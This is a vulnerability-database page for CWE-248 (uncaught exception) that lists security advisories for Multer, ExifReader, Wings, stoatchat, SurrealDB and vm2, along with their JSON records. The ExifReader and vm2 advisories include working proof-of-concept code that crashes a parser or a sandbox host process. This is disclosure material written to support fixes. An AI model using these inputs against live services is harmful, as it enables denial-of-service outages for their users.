Common Weakness Enumeration

CWE-248

Allowed

Uncaught Exception

Abstraction: Base · Status: Draft

An exception is thrown from a function, but it is not caught.

647 vulnerabilities reference this CWE, most recent first.

GHSA-G5HG-P3PH-G8QG

Vulnerability from github – Published: 2025-06-05 01:09 – Updated: 2025-06-05 01:09
VLAI
Summary
Multer vulnerable to Denial of Service via unhandled exception
Details

Impact

A vulnerability in Multer versions >=1.4.4-lts.1, <2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process.

Patches

Users should upgrade to 2.0.1

Workarounds

None

References

https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9 https://github.com/expressjs/multer/issues/1233 https://github.com/expressjs/multer/pull/1256

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "multer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.4-lts.1"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-05T01:09:35Z",
    "nvd_published_at": "2025-06-03T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA vulnerability in Multer versions \u003e=1.4.4-lts.1, \u003c2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\n\nUsers should upgrade to `2.0.1`\n\n### Workarounds\n\nNone\n\n### References\n\nhttps://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9\nhttps://github.com/expressjs/multer/issues/1233\nhttps://github.com/expressjs/multer/pull/1256",
  "id": "GHSA-g5hg-p3ph-g8qg",
  "modified": "2025-06-05T01:09:35Z",
  "published": "2025-06-05T01:09:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/multer/security/advisories/GHSA-g5hg-p3ph-g8qg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/multer/issues/1233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/multer/pull/1256"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/multer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Multer vulnerable to Denial of Service via unhandled exception"
}

GHSA-G77H-45RF-HCX4

Vulnerability from github – Published: 2026-07-17 20:19 – Updated: 2026-07-17 20:19
VLAI
Summary
ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes
Details

Summary

ExifReader 4.40.0 can throw an uncaught RangeError: Offset is outside the bounds of the DataView while parsing crafted HEIC/AVIF files. The file only needs a valid leading ftyp box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte free box or a truncated extended-size box.

This is reachable through the public ExifReader.load() API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.

Credit requested: Yaohui Wang.

Affected version tested

  • npm package: exifreader
  • Version: 4.40.0
  • Repository commit tested: 8cb0261a26b7d986955fe0a6780f076dcb7902e7

Root cause

The ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In src/image-header-iso-bmff.js:

  • findMetaBox() calls parseBox(dataView, offset) while only checking that offset + 8 <= dataView.byteLength.
  • parseBox() calls getBoxLength() and then unconditionally reads fields such as the full-box version byte for meta/iloc/iinf/idat boxes.
  • getBoxLength() handles boxLength === 1 by calling hasEmptyHighBits(dataView, offset), which reads dataView.getUint32(offset + 8) without first checking that the 64-bit extended size field is present.

As a result, syntactically small or truncated boxes after a valid HEIC/AVIF ftyp box escape the format-detection catch blocks and throw from the main parsing path.

Reproduction

Run this from the repository root against the committed dist/exif-reader.js bundle:

const ExifReader = require('./dist/exif-reader.js');

function u32be(n) {
  return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function ascii(s) {
  return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content = []) {
  return [...u32be(8 + content.length), ...ascii(type), ...content];
}

for (const brand of ['heic', 'avif']) {
  for (const badBox of ['free', 'abcd']) {
    const bytes = Uint8Array.from([
      ...box('ftyp', ascii(brand)),
      ...box(badBox), // 8-byte box header with no content
    ]);

    try {
      ExifReader.load(bytes.buffer);
      console.log(`${brand}/${badBox}: no throw`);
    } catch (e) {
      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);
      console.log(String(e.stack).split('\n').slice(0, 6).join('\n'));
    }
  }
}

Observed output on Node v23.11.0 with ExifReader 4.40.0:

heic/free: RangeError: Offset is outside the bounds of the DataView
RangeError: Offset is outside the bounds of the DataView
    at DataView.prototype.getUint8 (<anonymous>)
    at parseBox (.../dist/exif-reader.js:1:16513)
    at findMetaBox (.../dist/exif-reader.js:1:19032)
    at findOffsets (.../dist/exif-reader.js:1:19101)

heic/abcd: RangeError: Offset is outside the bounds of the DataView
avif/free: RangeError: Offset is outside the bounds of the DataView
avif/abcd: RangeError: Offset is outside the bounds of the DataView

A second variant triggers the extended-size path:

const truncatedExtendedBox = [...u32be(1), ...ascii('free')];
const heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);
ExifReader.load(heic.buffer);

That throws from hasEmptyHighBits() / getBoxLength() because the extended-size high/low fields are not present.

Expected behavior

Malformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.

Security impact

This is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.

Suggested severity: Medium. Suggested CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.

Suggested fix

Add explicit bounds checks before every DataView read in the ISO-BMFF box parser, especially:

  • before reading the 64-bit extended size fields in getBoxLength();
  • before reading the full-box version byte in parseBox();
  • before descending into parseSubBoxes() when a declared box length exceeds available bytes;
  • ensure findMetaBox() breaks on boxes whose declared length is invalid or not fully present.

A regression test should cover ftyp/heic and ftyp/avif followed by an 8-byte empty free/unknown box and by a truncated extended-size box.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.40.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.40.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:19:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nExifReader 4.40.0 can throw an uncaught `RangeError: Offset is outside the bounds of the DataView` while parsing crafted HEIC/AVIF files. The file only needs a valid leading `ftyp` box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte `free` box or a truncated extended-size box.\n\nThis is reachable through the public `ExifReader.load()` API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.\n\nCredit requested: Yaohui Wang.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.40.0`\n- Repository commit tested: `8cb0261a26b7d986955fe0a6780f076dcb7902e7`\n\n## Root cause\n\nThe ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In `src/image-header-iso-bmff.js`:\n\n- `findMetaBox()` calls `parseBox(dataView, offset)` while only checking that `offset + 8 \u003c= dataView.byteLength`.\n- `parseBox()` calls `getBoxLength()` and then unconditionally reads fields such as the full-box version byte for `meta`/`iloc`/`iinf`/`idat` boxes.\n- `getBoxLength()` handles `boxLength === 1` by calling `hasEmptyHighBits(dataView, offset)`, which reads `dataView.getUint32(offset + 8)` without first checking that the 64-bit extended size field is present.\n\nAs a result, syntactically small or truncated boxes after a valid HEIC/AVIF `ftyp` box escape the format-detection catch blocks and throw from the main parsing path.\n\n## Reproduction\n\nRun this from the repository root against the committed `dist/exif-reader.js` bundle:\n\n```js\nconst ExifReader = require(\u0027./dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n  return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction ascii(s) {\n  return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content = []) {\n  return [...u32be(8 + content.length), ...ascii(type), ...content];\n}\n\nfor (const brand of [\u0027heic\u0027, \u0027avif\u0027]) {\n  for (const badBox of [\u0027free\u0027, \u0027abcd\u0027]) {\n    const bytes = Uint8Array.from([\n      ...box(\u0027ftyp\u0027, ascii(brand)),\n      ...box(badBox), // 8-byte box header with no content\n    ]);\n\n    try {\n      ExifReader.load(bytes.buffer);\n      console.log(`${brand}/${badBox}: no throw`);\n    } catch (e) {\n      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);\n      console.log(String(e.stack).split(\u0027\\n\u0027).slice(0, 6).join(\u0027\\n\u0027));\n    }\n  }\n}\n```\n\nObserved output on Node v23.11.0 with ExifReader 4.40.0:\n\n```text\nheic/free: RangeError: Offset is outside the bounds of the DataView\nRangeError: Offset is outside the bounds of the DataView\n    at DataView.prototype.getUint8 (\u003canonymous\u003e)\n    at parseBox (.../dist/exif-reader.js:1:16513)\n    at findMetaBox (.../dist/exif-reader.js:1:19032)\n    at findOffsets (.../dist/exif-reader.js:1:19101)\n\nheic/abcd: RangeError: Offset is outside the bounds of the DataView\navif/free: RangeError: Offset is outside the bounds of the DataView\navif/abcd: RangeError: Offset is outside the bounds of the DataView\n```\n\nA second variant triggers the extended-size path:\n\n```js\nconst truncatedExtendedBox = [...u32be(1), ...ascii(\u0027free\u0027)];\nconst heic = Uint8Array.from([...box(\u0027ftyp\u0027, ascii(\u0027heic\u0027)), ...truncatedExtendedBox]);\nExifReader.load(heic.buffer);\n```\n\nThat throws from `hasEmptyHighBits()` / `getBoxLength()` because the extended-size high/low fields are not present.\n\n## Expected behavior\n\nMalformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.\n\n## Security impact\n\nThis is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.\n\nSuggested severity: Medium. Suggested CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`.\n\n## Suggested fix\n\nAdd explicit bounds checks before every `DataView` read in the ISO-BMFF box parser, especially:\n\n- before reading the 64-bit extended size fields in `getBoxLength()`;\n- before reading the full-box version byte in `parseBox()`;\n- before descending into `parseSubBoxes()` when a declared box length exceeds available bytes;\n- ensure `findMetaBox()` breaks on boxes whose declared length is invalid or not fully present.\n\nA regression test should cover `ftyp/heic` and `ftyp/avif` followed by an 8-byte empty `free`/unknown box and by a truncated extended-size box.",
  "id": "GHSA-g77h-45rf-hcx4",
  "modified": "2026-07-17T20:19:39Z",
  "published": "2026-07-17T20:19:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes"
}

GHSA-GHRQ-5WPP-HXX5

Vulnerability from github – Published: 2026-07-31 16:20 – Updated: 2026-07-31 16:20
VLAI
Summary
Wings: Maliciously crafted packet during SFTP connection handshake causes denial of service
Details

Summary

A maliciously crafted packet received & parsed during the SFTP connection handshake will cause a Go panic.

Impact

All wings users with an open SFTP port.

Workarounds

Close SFTP port.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129",
      "CWE-20",
      "CWE-248",
      "CWE-400",
      "CWE-617",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:20:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA maliciously crafted packet received \u0026 parsed during the SFTP connection handshake will cause a Go panic.\n\n### Impact\nAll wings users with an open SFTP port.\n\n### Workarounds\nClose SFTP port.",
  "id": "GHSA-ghrq-5wpp-hxx5",
  "modified": "2026-07-31T16:20:25Z",
  "published": "2026-07-31T16:20:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-ghrq-5wpp-hxx5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/commit/8e49c7c0eda815d3ada171831876a1c14c493026"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/wings"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/releases/tag/v1.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wings: Maliciously crafted packet during SFTP connection handshake causes denial of service"
}

GHSA-GJGJ-9PM3-6HXG

Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31
VLAI
Details

stoatchat versions before 0.15.5 contain a denial of service vulnerability in the acknowledgement worker that processes mass mention messages. Authenticated users can send five crafted role-mention messages to terminate all acknowledgement workers, disabling push notifications and mention badges deployment-wide until the API process restarts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:51Z",
    "severity": "HIGH"
  },
  "details": "stoatchat versions before 0.15.5 contain a denial of service vulnerability in the acknowledgement worker that processes mass mention messages. Authenticated users can send five crafted role-mention messages to terminate all acknowledgement workers, disabling push notifications and mention badges deployment-wide until the API process restarts.",
  "id": "GHSA-gjgj-9pm3-6hxg",
  "modified": "2026-09-26T15:31:20Z",
  "published": "2026-09-26T15:31:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stoatchat/stoatchat/security/advisories/GHSA-5gq6-v4cf-3qq8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100675"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/stoatchat-before-0.15.5-denial-of-service-via-mass-mentions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GJM5-72CH-9675

Vulnerability from github – Published: 2026-07-18 15:31 – Updated: 2026-07-18 15:31
VLAI
Details

SurrealDB versions before 2.1.0 contain a denial of service vulnerability in the sorting mechanism when using ORDER BY rand() clause. Authorized clients can execute queries with ORDER BY rand() to trigger a panic in the sorting function, crashing the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-58359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-18T14:17:08Z",
    "severity": "HIGH"
  },
  "details": "SurrealDB versions before 2.1.0 contain a denial of service vulnerability in the sorting mechanism when using ORDER BY rand() clause. Authorized clients can execute queries with ORDER BY rand() to trigger a panic in the sorting function, crashing the server.",
  "id": "GHSA-gjm5-72ch-9675",
  "modified": "2026-07-18T15:31:48Z",
  "published": "2026-07-18T15:31:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-m52v-24p8-654f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58359"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/surrealdb-before-denial-of-service-via-rand-sorting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GJQ8-XM47-88RC

Vulnerability from github – Published: 2026-10-05 22:45 – Updated: 2026-10-05 22:45
VLAI
Summary
vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process
Details

Summary

vm2 current head (v3.11.5, commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.

This is an incomplete-fix variant of the GHSA-hw58-p9xv-2mjh unhandled rejection hardening. The localPromise constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach .catch() or .then(..., onRejected), Node's default unhandled rejection behavior terminates the host process.

Technical Details

lib/setup-sandbox.js hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:

apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);

That only applies to localPromise instances created inside the sandbox.

Host-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls .then, .catch, or .finally on a host Promise:

bridge.setHostPromiseSanitizers(e => handleException(from(e)), from);

However, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.

NodeVM provides an in-repository example of this primitive through the special events builtin wrapper. lib/builtin.js passes host EventEmitter.once into the sandbox:

once: EventEmitter.once,

Then lib/events.js re-exports it:

if (host.once) module.exports.once = host.once;

Calling events.once(ee, 'message') and then emitting error on ee returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.

Impact

An attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a NodeVM permits the events builtin.

For web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.

Affected Package/Versions

Confirmed affected on Node.js v25.8.0:

  • v3.10.0
  • v3.10.1
  • v3.10.2
  • v3.10.3
  • v3.10.4
  • v3.10.5
  • v3.11.0
  • v3.11.1
  • v3.11.2
  • v3.11.3
  • v3.11.4
  • v3.11.5 / current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92

The final PoV was also reproduced on current head with Node.js v16.20.2, v18.20.8, v20.20.2, v22.22.3, v24.16.0, and v25.9.0 using npx node@<major>. The local workstation default Node.js v25.8.0 also reproduces.

Configuration Required

The general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:

const vm = new VM({
  sandbox: {
    hostReject: () => Promise.reject(new Error('host-boom')),
  },
});

The NodeVM variant requires events in the builtin allowlist:

new NodeVM({ require: { external: false, builtin: ['events'] } });

events.once() is exposed by vm2's special events builtin wrapper. Node's official API documents events.once() as returning a Promise that rejects when the watched emitter emits error while waiting for another event.

Controls

  • If sandbox code attaches .catch(() => {}) to the returned host Promise, the process survives.
  • If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the GHSA-hw58 localPromise hardening is active.
  • If sandbox code attaches .catch(() => {}) to the events.once() Promise, the NodeVM process survives.
  • If NodeVM does not allow the events builtin, the events.once() variant does not run and the process survives.

Disclosure Policy Fit

vm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported 3.x line.

Local Proof of Concept

Run from the oss-zero-day-harness directory:

node submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js

The crash-safe PoV executes each case in a child process. A vulnerable result has status: 1 for the positive cases and status: 0 for controls.

Minimal VM positive case:

const { VM } = require('vm2');

const vm = new VM({
  sandbox: {
    hostReject: () => Promise.reject(new Error('host-boom')),
  },
});

vm.run('hostReject(); 1');
setTimeout(() => console.log('survived'), 150);

Observed on current head:

Error: host-boom
    at hostReject (...)

The process exits before printing survived.

Minimal NodeVM builtin variant:

const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: false, builtin: ['events'] },
});

vm.run(`
  const events = require('events');
  const ee = new events.EventEmitter();
  events.once(ee, 'message');
  ee.emit('error', new Error('event-boom'));
  module.exports = 'returned';
`, 'events-pov.js');

setTimeout(() => console.log('survived'), 150);

Observed on current head:

node:internal/process/promises:332
    triggerUncaughtException(err, true /* fromPromise */);
Error: event-boom

The process exits with status 1.

Mitigation

Applications can reduce exposure by installing a process-level unhandledRejection handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node's default --unhandled-rejections=throw behavior raises the rejection as an uncaught exception and exits the process.

Suggested Fix Direction

When a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own .catch() / .then(..., onRejected).

Regression tests should cover:

  • VM with hostReject: () => Promise.reject(new Error(...)); calling hostReject() without .catch() must not terminate the process.
  • The same call with a sandbox .catch() must still deliver a sanitized rejection to the sandbox callback.
  • NodeVM with require.builtin: ['events']; calling events.once(ee, 'message') and then emitting error without .catch() must not terminate the process.
  • The same events.once() call with a sandbox .catch() must continue to deliver a sanitized rejection to the sandbox callback.
  • Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.

Why This Is Not Intended Behavior

vm2 already treats this failure mode as security-relevant. GHSA-hw58-p9xv-2mjh was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current setup-sandbox.js explicitly states that the local Promise swallow tail exists so the host's unhandledRejection event never fires.

This report shows the same availability boundary failure still exists for host-returned Promises:

  • the sandbox does not need child_process, filesystem, network, nesting, or dangerous builtins;
  • the VM variant needs only a common embedder pattern: exposing an async host helper to untrusted code;
  • the NodeVM variant needs only the documented events builtin allowlist;
  • a single sandbox call terminates the whole host process serving all users.

This is distinct from the documented caveat that timeout cannot stop CPU loops. It is also distinct from the README's current async-function / await using caveat: this report does not require sandbox async syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2's own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.

This is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:45:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nvm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.\n\nThis is an incomplete-fix variant of the `GHSA-hw58-p9xv-2mjh` unhandled rejection hardening. The `localPromise` constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach `.catch()` or `.then(..., onRejected)`, Node\u0027s default unhandled rejection behavior terminates the host process.\n\n## Technical Details\n\n`lib/setup-sandbox.js` hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:\n\n```js\napply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n```\n\nThat only applies to `localPromise` instances created inside the sandbox.\n\nHost-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls `.then`, `.catch`, or `.finally` on a host Promise:\n\n```js\nbridge.setHostPromiseSanitizers(e =\u003e handleException(from(e)), from);\n```\n\nHowever, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.\n\n`NodeVM` provides an in-repository example of this primitive through the special `events` builtin wrapper. `lib/builtin.js` passes host `EventEmitter.once` into the sandbox:\n\n```js\nonce: EventEmitter.once,\n```\n\nThen `lib/events.js` re-exports it:\n\n```js\nif (host.once) module.exports.once = host.once;\n```\n\nCalling `events.once(ee, \u0027message\u0027)` and then emitting `error` on `ee` returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.\n\n## Impact\n\nAn attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a `NodeVM` permits the `events` builtin.\n\nFor web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.\n\n## Affected Package/Versions\n\nConfirmed affected on Node.js `v25.8.0`:\n\n- `v3.10.0`\n- `v3.10.1`\n- `v3.10.2`\n- `v3.10.3`\n- `v3.10.4`\n- `v3.10.5`\n- `v3.11.0`\n- `v3.11.1`\n- `v3.11.2`\n- `v3.11.3`\n- `v3.11.4`\n- `v3.11.5` / current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n\nThe final PoV was also reproduced on current head with Node.js `v16.20.2`, `v18.20.8`, `v20.20.2`, `v22.22.3`, `v24.16.0`, and `v25.9.0` using `npx node@\u003cmajor\u003e`. The local workstation default Node.js `v25.8.0` also reproduces.\n\n\n## Configuration Required\n\nThe general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:\n\n```js\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error(\u0027host-boom\u0027)),\n  },\n});\n```\n\nThe NodeVM variant requires `events` in the builtin allowlist:\n\n```js\nnew NodeVM({ require: { external: false, builtin: [\u0027events\u0027] } });\n```\n\n`events.once()` is exposed by vm2\u0027s special `events` builtin wrapper. Node\u0027s official API documents `events.once()` as returning a Promise that rejects when the watched emitter emits `error` while waiting for another event.\n\n## Controls\n\n- If sandbox code attaches `.catch(() =\u003e {})` to the returned host Promise, the process survives.\n- If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the `GHSA-hw58` localPromise hardening is active.\n- If sandbox code attaches `.catch(() =\u003e {})` to the `events.once()` Promise, the `NodeVM` process survives.\n- If `NodeVM` does not allow the `events` builtin, the `events.once()` variant does not run and the process survives.\n\n## Disclosure Policy Fit\n\nvm2\u0027s security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported `3.x` line.\n\n## Local Proof of Concept\n\nRun from the `oss-zero-day-harness` directory:\n\n```fish\nnode submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js\n```\n\nThe crash-safe PoV executes each case in a child process. A vulnerable result has `status: 